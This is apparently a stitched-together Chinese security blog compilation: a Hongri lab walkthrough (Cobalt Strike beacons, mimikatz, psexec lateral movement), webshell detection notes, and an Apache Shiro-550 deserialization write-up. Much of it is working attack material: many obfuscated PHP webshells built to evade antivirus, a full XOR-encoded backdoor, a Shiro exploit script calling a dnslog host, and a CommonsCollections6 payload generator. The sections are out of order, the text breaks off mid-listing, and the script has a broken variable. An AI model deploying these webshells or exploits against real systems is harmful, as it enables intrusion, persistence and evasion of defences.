0%

0x04 内网渗透

4.1 将web服务器上线到CS

将刚才生成的beacon.exe上传到web目录,然后在shell中执行这个exe,就可以将shell上线到CS了。

图片

4.2 目标主机信息收集

拿到 shell 第一步,调低心跳值,默认心跳为 60s,执行命令的响应很慢

我这是自己的内网且没有杀软我就设置为 0 了,真实环境不要设置这么低

进入 beacon 执行 sleep 0,然后查看下基本的本机信息:

1
2
3
4
whoami
hostname
net user
net localgroup administrators

systeminfo 可以查看系统详细信息,提供两个小 tips:

查看是什么操作系统 & 系统版本:

系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%

图片

图片

查询已安装的软件及版本信息:wmic product get name,version

查询进程及服务:

tasklist,默认显示映像名称,PID,会话名,会话,内存使用

tasklist /svc,默认显示映像名称,PID,服务

1
wmic process list brief

常见的杀软进程:
|进程名|软件|
|:—-|:—-|
|360sd.exe|360 杀毒|
|360tray.exe|360 实时保护|
|ZhuDongFangYu.exe|360 主动防御|
|KSafeTray.exe|金山卫士|
|SafeDogUpdateCenter.exe|安全狗|
|McAfee|McShield.exe|
|egui.exe|NOD32|
|AVP.exe|卡巴斯基|
|avguard.exe|小红伞|
|bdagent.exe|BitDefender|

4.3 域信息收集

什么是域

参考文章:内网渗透学习导航

域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从 Windows Server 2003 开始 , Active Directory 是负责维护该中央数据库的 Windows 组件。Windows 域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器:

图片

发现 DNS 服务器名为 god.org,查看域信息:net view

图片

查看主域信息:net view /domain

图片

查看时间服务器:net time /domain

图片

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

查询当前的登录域与用户信息:net config workstation

图片

查找域控

利用 nslookup 命令直接解析域名服务器:

1
shell nslookup god.org		# nslookup 域名

查询域控和用户信息

查看当前域的所有用户:net user /domain

图片

获取域内用户的详细信息:wmic useraccount get /all

可以获取到用户名,描述信息,SID 域名等:

查看所有域成员计算机列表:net group "domain computers" /domain

图片

查看域管理员:net group "domain admins" /domain

图片

获取域密码信息:net accounts /domain

图片

4.4 横向探测

获取到一个 cs 的 beacon 后可以继续查看目标内网情况和端口开放情况

在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan(端口扫描):

net view

图片

执行之后,可以在CobaltStrike->可视化->目标列表看到扫描出来的主机

图片

用 cs 的 hashdump 读内存密码:hashdump

用 mimikatz 读注册表密码:logonpasswords

图片

在凭证信息一栏可以清楚查看

图片

如果权限不够可以提权,自带部分提权POC

图片

图片

额外的提权插件:ElevateKit额外增加 ms14-058ms15-051ms16-016uac-schtasks 四种提权方式

抓取密码后可以先探测内网其他主机:

ping 方法:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

最简单的直接 arp -a 查看也可以

4.5 横向移动

因为192.168.52.0/24段不能直接连接到192.168.237.137(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
简单来说,SMB Beacon 有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash

新建一个 Listenerpayload 设置为 Beacon SMB

图片

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner:

图片

选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标

图片

这就是派生的 SMB Beacon,当前没有连接

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

psexec 使用凭证登录其他主机

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块

图片

图片

在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息

监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

图片

可以看到分别执行了

1
2
3
4
5
beacon> rev2self
[*] Tasked beacon to revert token
beacon> make_token GOD.ORG\Administrator V0Wldl19980114
[*] Tasked beacon to create a token for GOD.ORG\Administrator
beacon> jump psexec ROOT-TVI862UBEH smb

这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon

如法炮制得到了域控主机 OWA 的 beacon

token 窃取

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机

选择 beacon 右键 -> 目标 -> 进程列表

选择 GOD\Administrator 的 token 盗取:

图片

然后在选择令牌处勾选使用当前 token 即可

0x05 总结

我们利用mysql日志写shell或者CMS的模板文件写shell轻松拿下Web服务器,再利用Web服务器作为跳板,去横向收集域内主机信息,并利用窃取的凭证横向移动到其他主机,最终实现整个域的控制

0x01 环境搭建

红日安全团队提供的靶机都是虚拟机形式,需要对虚拟机网络进行一定的配置。关于VMware的几种网络模式的原理和区别,可以参考这篇文章——VMware网络连接模式——桥接模式、NAT模式以及仅主机模式的介绍和区别 介绍非常详细,通俗易懂。

我们下载完靶机有三个压缩包,对应三个虚拟机:

图片

VM1为win7,VM2为winserver 2003即win2k3,VM3为winserver 2008

可以看到VM1是通外网的Web服务器,VM2和VM3是内网环境,与外网隔绝,只可以通过VM1进行访问。

一要营造一个内网环境(包括VM1,VM2,VM3),因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置,设置成仅主机模式放到一个VMnet中即可实现三台主机在一个内网。

二要使得VM1能够访问外网,所以需要给VM1添加一个网卡,设置成NAT模式。

所以最终我给VM1(win7) 设置两个网卡,一个自定义连接到VMnet1(仅主机模式),另一个连接模式为NAT,方便连接外网。VM2(winserver2k3)和VM3(winserver2008)

0x02 启动靶机和服务

将三个靶机都启动,此时需要占用较大的内存,建议将其他应用关闭,另外电脑配置最好能在16G及以上。

密码都是 hongrisec@2019,可能会提醒你修改密码,修改后务必记住自己的密码。

进入win7 启动phpstudy。

发现三台主机都是固定IP的,是在192.168.52.0/24段可以通过三台主机之前进行ping测试,测试能通后,可以正式开始练习了。如果遇到NAT(比如主机和同网段的kali)ping不通win7的情况,试着关闭防火墙再试试

0x03 拿下Web服务器

上述基本完成后,我们可以正式开始本次靶机渗透之旅

3.1 信息收集

本机kali的地址为:192.168.237.137

搜索同段的主机,再针对性的使用nmap进行服务端口扫描

1
netdiscover -i eth0 -r 192.168.237.0/24

或者直接使用nmap扫描同一C段:

1
nmap -sP 192.168.237.0/24		# -sP ping方式探测存活主机

图片

1
nmap -sC -sV -Pn -p 1-65535 192.168.237.136	# -sC默认脚本 -sV 服务版本 -p指定端口

图片

3.2 漏洞利用

发现80 端口开放,进行访问,是一个php探针页面,结合信息收集阶段得到phpstudy的信息,可以确定是一个phpstudy的集成环境。

网站的绝对路径:C:/phpStudy/www/

此时,有两种攻击方案:

  1. phpstudy 后门
  2. 看看MySQL能不能连进去
    测试发现使用的版本恰好没有后门文件可以利用。尝试第二种方式,测试MySQL外连和登录密码。这里出题比较简单,直接是弱口令,root/root就可以连进去,而且是可以外连的。

使用dirmap或者御剑扫描web目录,发现phpmyAdminbeifen.rar(如果是没有弱口令,从备份文件中找配置也是一个突破口)

图片

备份文件是一个yxcms的源码:

在全文搜索admin之后,发现后台默认的用户名和密码:admin/123456

发现后台地址:/index.php?r=admin

图片

接下来,又有两种攻击方案可以选择:

  1. 利用phpMyAdmin漏洞进行getshell或者利用MySQL写Shell
  2. 继续跟进yxcms
    因为是练习嘛,我们都尝试一遍。

3.2.1 mysql日志写shell

先看一下有没有写权限:

1
show variables like '%secure%';

图片

secure_file_priv ==''为空说明有任意目录的写权限,非空则只能在对应目录读文件,这里的非空包括NULL。所以这里没有写权限,无法直接写shell。

因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

windows下:

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

Linux下:

/etc/my.cnf[mysqld]下面添加local-infile=0选项。

这里无法直接写shell,那我们来尝试日志写 shell,开启日志记录

1
2
3
set global general_log = "ON"; 	# 开启日志记录
show variables like 'general%'; # 查看当前的日志记录
set global general_log_file="C://phpStudy/www/v0w.php"; # 指定日志文件

图片

进行一次查询,查询记录就将写到日志文件中,形成一个webshell。

1
SELECT '<?php eval($_POST["a"]);?>'

图片

使用蚁剑连接,getshell

3.2.2 通过yxcms getshell

利用之前得到的一些信息,登录后台

1
2
后台地址:/index.php?r=admin
用户名和密码:admin 123456

看看有没有上传或者什么可以写入shell的地方。可以通过Seay审计工具来进行比较细致的审计 ,不过我们不用工具,也容易找到前台模板的管理页面存在编辑功能,明显的写shell的地方。

比如随便找一个模板进行修改,插入一句话木马(虽然是随便找的,但是需要知道,这个模板在哪个网页执行)

图片

这个很明显就在index.php处的搜索功能。

比如我们随便搜索一个关键词,就会触发这个shell。再或者通过下载下来的备份文件搜索这个文件,直接访问到这个文件的路径也可以拿下shell

1
2
http://192.168.237.136/yxcms/index.php?r=default%2Findex%2Fsearch&keywords=q&type=all
http://192.168.237.136/yxcms/protected/apps/default/view/default/index_search.php

Webshell检测方式

日志检测

使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

文件内容检测(静态检测)

静态检测是指对文件中所使用的关键词、高危函数、文件修改的时间、文件权限、文件的所有者以及和其它文件要素等多个因素进行检测,对已知的样本查找准确率高,但缺点是漏报率、误报率高,,而且容易被绕过。
具体的检测方式如下:

Webshell特征检测

使用正则表达式制定相应的规则是很常见的一种静态检测方法,通过对webshell文件进行总结,提取出常见的特征、威胁函数形成正则,再进行扫描整个文件,通过关键词匹配脚本文件找出webshell。
比较常见的如:

1
系统调用的命令执行函数:eval\system\cmd_shell\assert等

文件名检测

有的文件名一看便知道是webshell,也是根据一些常见的webshell文件名进行总结然后再进行过滤。
如:

backdoor.phpwebshell.php等等

文件行为检测(动态检测)

动态检测是通过Webshell运行时使用的系统命令或者网络流量的异常来判断动作的威胁程度,Webshell通常会被加密从而避开静态特征的检测,当Webshell运行时就需要向系统发送系统命令来达到执行命令。通过检测系统调用来监测甚至拦截系统命令被执行。
具体检测方式如下:

流量行为特征检测

webshell带有常见执行命令动作等,它的命令行为方式决定了它的数据流量中的参数具有一些明显的特征。
如:

1
ipconfig/ifconfig/syste/whoami/net stat/eval/database/systeminfo

攻击者在上传完webshell后肯定会执行些命令等,那么便可以去检测系统的变化以及敏感的操作,通过和之前的配置以及文件的变化对比监测系统达到发现webshell的目的
进程分析

利用netstat命令来分析可疑的端口、IP、PID及程序进程

1
netstat -anptu | grep 

有些进程是隐藏起来的,可以通过以下命令来查看隐藏进程

1
2
3
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2

文件分析
通过查看/tmp /init.d /usr/bin /usr/sbin等敏感目录有无可疑的文件,针对可以的文件可使用stat进行创建修改时间、访问时间的详细查看,若修改时间距离事件日期接近,有关联,说明可能被篡改或者其他

1
stat /usr/bin

除此之外,还可以查找新增文件的方式来查找webshell
查找24小时内被修改的PHP文件

1
find ./ -mtime 0 -name "*.php"

查找隐藏文件

1
ls -ar | grep "^\."

系统信息分析

通过查看一些系统信息,来进行分析是否存在webshell

1
2
3
4
5
6
cat /root/.bash_history
查看命令操作痕迹
cat /etc/passwd
查看有无新增的用户或者除root之外uid为0的用户
crontab /etc/cron*
查看是否有后门木马程序启动相关信息

静态免杀

关于eval与assert

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被可变函数调用。可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行 通俗的说比如你 <?php $a=eval;$a()?> 这样是不行的,造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

PHP木马静态免杀基本是通过各种加密或异或等方式来隐藏关键词

将关键词混淆在类中、函数中

字符串变形:

1
2
3
4
5
6
7
8
9
10
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

用 substr_replace() 函数变形assert 达到免杀的效果 

1
2
3
4
<?php
    $a = substr_replace("assexx","rt",4);
    $a($_POST['x']);
 ?>

定义函数绕过
定义一个函数把关键词分割达到bypass效果

1
2
3
<?php
function test($a){ $a($_POST['x']);} test(assert);
?>

反之

1
2
3
4
5
<?php
function test($a){
assert($a);
}
test($_POST[x]);

回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
大多数回调函数已经被加入规则里这里建议使用一些冷门的

1
2
3
4
5
6
7
<?php
    forward_static_call_array(assert,array($_POST[x]));
?>

<?php
forward_static_call_array(assert,array($_POST[x]));
?>

回调函数变形
定义个函数 或者类来调用

定义一个函数

1
2
3
4
5
6
<?php
function test($a,$b){
array_map($a,$b);
}
    test(assert,array($_POST['x']));
?>

定义一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test {
    var $a;
        var $b;
        function __construct($a,$b) {
            $this->a=$a;
            $this->b=$b;
        }
        function test() {
            array_map($this->a,$this->b);
        }
    }
    $p1=new test(assert,array($_POST['x']));
    $p1->test();
?>

这里贴上网上师傅自己写的混淆小马,同样利用了冷门回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function myfunction_key($a,$b){
if ($a===$b){
return 0;
}
return ($a>$b)?1:-1;
}
class rtHjmCdS{
public $fHfoj;
public $fDaGv;
public $HgAjSd;
function __construct(){

$_xlr="J"^"\x2b";
$_Nbv="V"^"\x25";
$_cfh="T"^"\x27";
$_PdK="I"^"\x2c";
$_zJQ="+"^"\x59";
$_RgD="="^"\x49";
$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;

$_fLd="a"^"\x0";
$_wOK="j"^"\x18";
$_tAH="U"^"\x27";
$_HeV="J"^"\x2b";
$_cyo="-"^"\x54";
$_iSW="F"^"\x19";
$_jYS="/"^"\x5a";
$_BFt="h"^"\x1";
$_TRn="p"^"\x1e";
$_izx="k"^"\x1f";
$_gMz="X"^"\x3d";
$_TNu="<"^"\x4e";
$_UiE="v"^"\x5";
$_iHI="q"^"\x14";
$_LIK="m"^"\xe";
$_Yey="Z"^"\x2e";
$_lMr="="^"\x62";
$_WOI="+"^"\x5e";
$_FQy="u"^"\x14";
$_sjC="d"^"\x17";
$_mOr=">"^"\x4d";
$_Txf="*"^"\x45";
$_PmW="O"^"\x2c";
$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;
}

function __destruct(){

$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'
$fdJfd = $this->fDaGv; // 'assert'
//array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');
@$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');
}
}
$jfnp=new rtHjmCdS();
@$jfnp->fHfoj=$_REQUEST['css'];
?>

例如:使用str_rot13函数,注意assert适用于PHP5

1
2
3
4
<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

str_rot13() 函数对字符串执行 ROT13 编码,通过编码来最终获得assert,但是这样是能被查杀出来的,可以将其隐藏在类或函数中

1
2
3
4
5
6
7
<?php
function test($a){
$b=str_rot13('nffreg');
$b($a);
}
test($_REQUEST['x']);
?>

但是这样还是绕不过D盾,那就在函数的外面再套上类来试试

1
2
3
4
5
6
7
8
9
10
11
<?php
class One{
function test($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->test($_REQUEST['x']);
?>

利用explode函数来分割字符串,再由class封装类来进行绕过D盾
拆解合并

1
2
3
4
5
<?php
$ch = explode(".","hello.ass.world.er.t");
$c = $ch[1].$ch[3].$ch[4]; //assert
$c($_POST['x']);
?>

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字

1
随机异或产生

"Y"^"\x38"的结果就是a,同样的生成assert即可

1
2
3
4
5
6
7
8
$_StL="Y"^"\x38";
$_ENr="T"^"\x27";
$_ohw="^"^"\x2d";
$_gpN="~"^"\x1b";
$_fyR="g"^"\x15";
$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

上面讲了三种隐藏关键字的方式,作用大同小异
特殊字符干扰

特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符

1
2
3
4
5
<?php
    $a = $_REQUEST['a'];
    $b = null;
    eval($b.$a);
?>

不过已经不能免杀了,利用适当的变形即可免杀 如

1
2
3
4
5
<?php
    $a = $_POST['a'];
    $b = "\n";
    eval($b.=$a);
?>

其他方法如”\r\n\t”,函数返回,类,等等
利用数组

1
2
3
4
<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['a'])];
?>

利用函数

1
2
3
4
5
6
<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/hello/e",func(),"hello");
?>

加上/e可以当作PHP代码进行解析,测试在5.6版本下可以使用
除此之外,例如create_function函数,用来创建匿名函数

1
2
3
4
<?php 
$a = create_function('',$_POST['a']);
$a();
?>

字符特征马
对于无特征马这里我的意思是无字符特征

利用异或,编码等方式 例如p神博客的

1
2
3
4
5
6
<?php
    $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //
$_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
    $___=$$__;
    $_($___[_]); // assert($_POST[_]);

到这里静态免杀基本就完了,总结一下:

  • 使用冷门函数
  • 尽量避免使用敏感关键字,可以用各种方式生成
  • 将关键代码混淆在类、函数里

1 漏洞说明

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。

Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化
    漏洞原因在于第三步,AES加解密的密钥是写死在代码中的,于是我们可以构造RememberMe的值,然后让其反序列化执行。

判断AES秘钥

shiro在1.4.2版本之前, AES的模式为CBC,在1.4.2版本之后为GCM

密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,

而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段

Shiro框架默认指纹特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

2 漏洞分析

代码下载

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

编辑shiro\samples\web的pom.xml中的pom.xml文件:

1
2
3
4
5
6
7
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

首先看下RememberMe值的加密过程。在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下个断点,点击debug开启tomcat服务
图片

之后在web端登录账户root/secret,勾选上Remember Me的按钮,程序会停在断点处

图片

首先调用forgetIdentity构造方法处理request和response请求,包括在response中加入cookie信息,然后调用rememberIdentity函数,来处理cookie中的rememberme字段。跟进rememberIdentity函数

图片

rememberIdentity函数首先调用getIdentityToRemember函数来获取用户身份,这里也就是”root”,跟进rememberIdentity构造方法

图片

调用convertPrincipalsToBytes方法将accountPrincipals也就是”root”转换为字节形式,跟进函数

图片

转换过程是先序列化用户身份”id”,在对其进行encrypt,跟进encrypt函数

图片

图片

encrypt函数就是调用AES加密对序列化后的”root”进行加密,加密的密钥由getEncryptionCipherKey()得到,跟进getEncryptionCipherKey()函数会发现其值为常量

图片

继续f8,直到回到rememberIdentity函数

图片

跟进rememberSerializedIdentity函数

图片

发现其对其进行base64编码后,设置到cookie中。到这里我们可以梳理下整个过程,当我们勾选上rememberme选项框后,以root身份登录,后端会进行如下操作:

  • 序列化用户身份”root”
  • 对root进行AES加密,密钥为常量
  • base64编码
  • 设置到cookie中的rememberme字段
    图片

图片

接下来看下rememberme字段的解密过程:

将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity,然后发送一个带有rememberMe Cookie的请求

图片

跟进getRememberedPrincipals函数

图片

跟进getRememberedSerializedIdentity函数,发现函数提取出cookie并且base64解码

图片

回到getRememberedPrincipals函数,继续跟进到convertBytesToPrincipals函数,发现其对cookie进行AES解密和反序列化

图片

decrypt函数就不贴图了,跟进去很明显就可以看出来其功能。

综上,整个流程为

  • 读取cookie中rememberMe值
  • base64解码
  • AES解密
  • 反序列化
    其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe值,改造其readObject()方法,让其在反序列化时执行任意操作

3 漏洞利用(直接拿网上的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64

target = "ip"
jar_file = 'D:\\java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://e54daa.dnslog.cn"],
                        stdout=subprocess.PIPE)
# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size

# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="

# AES的CBC加密模式
mode = AES.MODE_CBC

# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes

# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)

# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())

# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

# 发送request
try:
    r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
    traceback.print_exc()

能检测到dnslog,就说明命令执行成功

之前已经将TemplatesImpl 投入到Commons-Collections利用链中,执行任意Java字节码。

这次要解决一个问题:为什么已经有CC6这种高版本通杀链了还需要TemplatesImpl的链子呢?

可以用shiro反序列化来测试TemplatesImpl反序列化

shiro反序列化的原理

1
2
3
4
5
6
7
8
9
10
<dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
</dependency>
<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.27.0-GA</version>
</dependency>

为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

使用CommonsCollections6攻击Shiro

图片

登录时勾选remember me

勾选之后登陆cookie会生成rememberMe字段,之前说了这个字段被发送到服务端进行反序列化,所以我们的攻击流程

  • 使用以前学过的CommonsCollections利用链生成一个序列化Payload
  • 将payload用shiro默认key加密
  • 将加密后的payload放入rememberMe字段发送给服务端触发反序列化
    可以用下面代码生成cc6的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package shiroatack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;



public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package shiroatack;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client0 {
    public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

直接将生成的payload传入会报错的,具体报错原因这里暂且不表,缘由过于复杂。
经过p神调试给出结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

我们的payload里就有数组

1
Transformer[] transformers = new Transformer[] {}

解决办法

我们不能用到数组,回忆一下,触发反序列化的最关键的点在与LazyMap的get方法,通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化 恶意对象。但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。但是ConstantTransformer类的作用本身就是传递参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class ConstantTransformer implements Transformer, Serializable {
    
    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param constantToReturn  the constant to return each time
     */
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }
}

这起到一个简单的参数传递作用,那我们只要找到能够代替这个作用的方法就行。
LazyMap的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是随便输入的,但此时发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色

改造为CCShiro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
